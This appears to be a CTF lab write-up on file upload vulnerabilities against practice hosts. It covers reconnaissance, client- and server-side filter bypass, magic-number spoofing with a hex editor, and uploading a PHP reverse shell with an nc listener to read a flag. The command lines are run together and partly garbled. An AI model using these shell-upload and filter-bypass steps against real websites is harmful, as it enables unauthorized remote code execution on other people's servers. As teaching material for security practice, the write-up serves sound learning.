To tackle file upload challenges, begin by examining the website to identify its technology and potential attack vectors (e.g. upload pages), using tools like Wappalyzer or Burpsuite to gather information from headers and server responses (e.g. server, x-powered-by).
Locate an upload page and review its client-side scripts for filters.
Perform a test upload with an innocent file to understand how the website processes and stores uploads (upload dir, embedding, naming scheme), using tools like Gobuster to find uploaded file locations (-x switch in Gobuster).
Once the upload behavior is understood, attempt to bypass client-side filters with a malicious file and analyze any server-side rejection for clues.
Common server-side filters include extension whitelists/blacklists, magic number checks, MIME type validation, or file size restrictions, which can be identified through systematic testing, such as altering file attributes (e.g. invalid file extension, magic number, file size) or intercepting upload requests (e.g. change MIME type with BurpSuite). Use this information to refine your approach and improve the likelihood of a successful exploit.
Remote Code Execution (RCE)
gobusterdir-uhttp://shell.uploadvulns.thm-w/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt-t64>shell.uploadvulns.dirs# /resources (Status: 301) [Size: 334] [--> http://shell.uploadvulns.thm/resources/]# /assets (Status: 301) [Size: 331] [--> http://shell.uploadvulns.thm/assets/]webshells# on Kalicp/usr/share/webshells/php/php-reverse-shell.php.# open the file and change the IP to THM VPN tunnel IP# upload the file to http://shell.uploadvulns.thm/nc-nvlp1234# Open# http://shell.uploadvulns.thm/resources/php-reverse-shell.php# Reverse shellcat/var/www/flag.txt
đ "The key to bypassing any kind of server side filter is to enumerate and see what is allowed, as well as what is blocked; then try to craft a payload which can pass the criteria the filter is looking for."
đ Magic numbers, the initial hex digits in a file, can validate file uploads by matching against a whitelist or blacklist, though their reliability varies by webserver type.
Access the randomized naming *-shell.php5 file to receive the reverse shell
cpshell.phpmagic.phpfilemagic.phpshell.php:PHPscript,ASCIItextnanomagic.php# add as first line, a number of random bytes = number of chosen magic number (GIF87a)# in this case# AAAAAAhexeditormagic.php# Modify the Hex signature to be 47 49 46 38 37 61filemagic.phpshell.php:GIFimagedata,version87a,15370x28735
<!DOCTYPEhtml><html> <head> <title>Jewel</title> <metacharset="utf-8"> <metaname="viewport"content="width=device-width, initial-scale=1.0, user-scalable=no"> <linktype="text/css"rel="stylesheet"href="assets/css/style.css"> <linktype="text/css"rel="stylesheet"href="assets/css/cinzel.css"> <linktype="text/css"rel="stylesheet"href="assets/css/exo.css"> <linktype="text/css"rel="stylesheet"href="assets/css/icons.css"> <linktype="image/x-icon"rel="shortcut icon"href="assets/favicon.ico"> <scriptsrc="assets/js/jquery-3.5.1.min.js"></script> <scriptsrc="assets/js/jquery.colour-2.2.0.min.js"></script> <scriptsrc="assets/js/upload.js"></script> <scriptsrc="assets/js/backgrounds.js"></script> </head> <body> <divid="one"class="background"></div> <divid="two"class="background"style="display:none;"></div> <divid="three"class="background"style="display:none;"></div> <divid="four"class="background"style="display:none;"></div> <main> <objectondragstart="returnfalse;"ondrop="returnfalse;"id="title"data="/assets/title.svg"type="image/svg+xml"></object> <p>Have you got a nice image of a gem or a jewel?<br>Upload it here and we'll add it to the slides!</p> <buttonclass="Btn"id="uploadBtn"><iid="uploadIcon"class="material-icons">backup</i> Select and Upload</button> <inputid="fileSelect"type="file"name="fileToUpload"accept="image/jpeg"> </main> <pid="responseMsg"style="display:none;"></p> </body></html>
Another way is to modify jewel.js to make it a JPEG file under 50 KB with the magic numberFF D8 FF DB and a .jpgextension
filejewel.jsjewel.js:JavaScriptsource,ASCIItextcpjewel.jsjewel.jpgnanojewel.jpg# add as first line, a number of random bytes = number of necessary magic number (ÃŋÃÃŋÃ)# in this case# AAAAhexeditorjewel.jpg# Modify the Hex signature to be FF D8 FF DBfilejewel.jpgjewel.jpg:JPEGimagedata
Upload the jewel.jpg file - Successful upload
It will not work when launched via the Admin page because it is not recognized as a js script